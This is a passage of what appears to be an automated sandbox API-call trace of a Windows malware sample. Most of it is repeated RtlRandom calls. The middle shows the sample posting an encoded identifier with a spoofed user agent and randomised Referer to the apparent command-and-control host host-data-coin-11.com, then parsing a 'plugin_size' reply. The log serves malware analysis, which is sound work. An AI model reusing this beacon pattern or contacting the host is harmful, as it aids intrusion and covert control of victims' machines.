(in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x10514e7f [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x601c90da [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa0c2aae8 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cef769c [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f0eebab [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x14229b9c [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63960ccc [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5fdfba54 [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd009285e [0221.098] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58e0b918 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb1204fc [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5696898c [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd846a308 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba21bbbb [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46d6a2ef [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc230bc7 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c275abc [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe08a773a [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23940353 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdfaf226b [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6a9332e [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xef10771d [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88c5523 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x142f3e38 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x272a81c3 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52ec1e7 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x65cecc95 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18af3120 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd400f431 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa82f7d1d [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5be8c111 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x38c07c3b [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x564f7710 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7f3c8461 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf55a770a [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6ac0f8e2 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc15e0ca1 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2c75c16f [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec9ebd54 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f408f96 [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x181f9bcd [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x739bbcdc [0221.099] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18448328 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfcf1df08 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe91ea6d9 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xceea6742 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf3c29291 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12fe0b6 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x48e284f [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f14ec42 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2ffa1bf [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6ef24088 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x57d9b096 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2e5349a8 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x19ae9d29 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f91f3ef [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc41e8a79 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa2b2e4aa [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x588abc1 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x59fc439d [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa13d1194 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb16d6a22 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf1cb51f7 [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbdb8a70c [0221.100] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2711d15 [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a49beb9 [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfb220735 [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x422a7e50 [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcc3993eb [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88ee65f0 [0221.101] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9dec6cb0 [0221.101] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xe7) returned 0x91418d0 [0221.101] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0221.101] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0221.101] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0221.101] lstrcatA (in: lpString1="", lpString2="Fw\"'M/DXKwjASeQ1Ch.=p5w?9A9/cqYhrI=$>)VHLy1AGR5\"&Rv]7$(q6f8*KR(+X:_zpzk1n'Eanq]3c;woUt:n5/\\z[j.SN:0+v*t,],k7:N7'vQG%\"WV%v]Ti?gdBDo:X-cFK.LlM.gA" | out: lpString1="Fw\"'M/DXKwjASeQ1Ch.=p5w?9A9/cqYhrI=$>)VHLy1AGR5\"&Rv]7$(q6f8*KR(+X:_zpzk1n'Eanq]3c;woUt:n5/\\z[j.SN:0+v*t,],k7:N7'vQG%\"WV%v]Ti?gdBDo:X-cFK.LlM.gA") returned="Fw\"'M/DXKwjASeQ1Ch.=p5w?9A9/cqYhrI=$>)VHLy1AGR5\"&Rv]7$(q6f8*KR(+X:_zpzk1n'Eanq]3c;woUt:n5/\\z[j.SN:0+v*t,],k7:N7'vQG%\"WV%v]Ti?gdBDo:X-cFK.LlM.gA" [0221.101] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x91419c0 [0221.101] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0221.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x91419c0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0221.101] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0221.109] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8656080 [0221.110] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0221.110] WinHttpConnect (hSession=0x8656080, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aa500 [0221.110] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x91407c0 [0221.110] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141ae0 [0221.110] WinHttpOpenRequest (hConnect=0x86aa500, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0221.110] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141b50 [0221.110] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141bb0 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7617e40a [0221.111] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x91407e0 [0221.111] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9140800 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ae3e633 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x944fbfbf [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc75e605 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x792a9555 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc93ac42a [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84e25ee0 [0221.111] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17e3cc9f [0221.111] wsprintfW (in: param_1=0x9141bb0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://yrcwlx.org/") returned 40 [0221.111] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140800) returned 0x17 [0221.112] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140800) returned 1 [0221.112] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407e0) returned 0x12 [0221.112] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407e0) returned 1 [0221.112] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b50) returned 0x4e [0221.112] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b50) returned 1 [0221.112] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://yrcwlx.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0221.112] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91418d0*, dwOptionalLength=0xde, dwTotalLength=0xde, dwContext=0x0) returned 1 [0222.172] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0222.172] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9145db0 [0222.172] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145db0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145db0*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0222.173] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9145db0, Size=0x5000) returned 0x9145db0 [0222.173] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145dc8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145dc8*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0222.173] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x460000 [0222.175] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0222.176] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0222.176] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141bb0) returned 0x10d [0222.177] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141bb0) returned 1 [0222.177] WinHttpCloseHandle (hInternet=0x86aa500) returned 1 [0222.177] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141ae0) returned 0x68 [0222.178] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141ae0) returned 1 [0222.178] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407c0) returned 0x12 [0222.178] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407c0) returned 1 [0222.178] WinHttpCloseHandle (hInternet=0x8656080) returned 1 [0222.178] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419c0) returned 0x10c [0222.178] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419c0) returned 1 [0222.179] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140720) returned 0x98 [0222.179] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140720) returned 1 [0222.179] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0xe7 [0222.179] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0222.179] lstrlenA (lpString="ä\x071|:|plugin_size=0") returned 19 [0222.179] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9140720 [0222.179] lstrlenA (lpString="1|:|plugin_size=0") returned 17 [0222.179] lstrlenA (lpString="plugin_size") returned 11 [0222.179] atoi (_Str="0") returned 0 [0222.179] lstrlenA (lpString="1|:|plugin_size=0") returned 17 [0222.179] lstrlenA (lpString="|:|") returned 3 [0222.180] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x8fd0000 [0222.188] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0222.188] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x8fd0000) returned 0x0 [0222.216] atoi (_Str="1") returned 1 [0222.216] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda69e959 [0222.217] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xb9) returned 0x9140740 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaf761ec5 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xabf08822 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bfa8d3 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2fc89eea [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec08dee9 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8f7b8b0 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x286f2d6c [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbf9b03a [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9d5e0e9f [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1e5c5192 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1de7a71e [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a74b2f [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd6b6c413 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2961d02 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x163ca0cc [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x76cbf6c9 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x16794f53 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x74f427d9 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x376baa4d [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x740d0374 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8c62d301 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x76ff04e6 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70ab621c [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x403514b [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb01f7f0e [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x300f8617 [0222.217] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7280c7b [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3227879a [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa55a2862 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2e4c73aa [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8b896c52 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28deae62 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5513f02f [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbf0de2e [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a90e250 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xabd5f191 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2d946d9 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac907c9c [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce470ec9 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cc133c4 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3db2194 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda3f5e86 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17cfe06e [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcec1e385 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99da3a2d [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9efaf824 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85e9e81e [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d596c93 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe928c190 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfc99c91 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3cbd987 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc16d7572 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5c8ba3a [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7f4f0f77 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc45a7117 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfcc86353 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcb1541ae [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62dc0db2 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17c93b61 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe80af534 [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ce666eb [0222.218] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf96b8d1f [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x14849385 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x998f594e [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2904ee [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62c9ac [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfef37f14 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2a7a5839 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f60c600 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6733c657 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc9ce1e13 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x464f2383 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x39dde300 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x95f1e364 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa05e8631 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfc9f9e49 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x693e71d [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2e8698e [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3026913b [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x518b4194 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x571b9029 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6567ff1f [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcdf999dc [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd15e8869 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe91d88c8 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3f3a328a [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb5490f26 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b6d05f1 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c7cf1a5 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bef59f4 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e90cb92 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd5f23755 [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1438212f [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28bbb6dd [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6037883b [0222.219] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12443b71 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb87820f1 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7edddd0a [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c7ac8f3 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x714d19d7 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36484465 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77c9b23f [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x388efdff [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa85de15 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f006168 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc81333a [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d575804 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c601adf [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf66cbe9a [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe33d648a [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x773b3d3d [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa8b6932e [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x806431f2 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa4654c24 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e895719 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x24d95b4f [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5862ecd1 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ad36f92 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9b2a18fa [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc905598d [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1c2771a8 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d38bdfb [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6026efe1 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4fca1596 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x47c2b8b7 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ee99d0 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb26956e9 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93b57274 [0222.220] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4173038 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3496e9a6 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b0937db [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x518e0764 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8827451 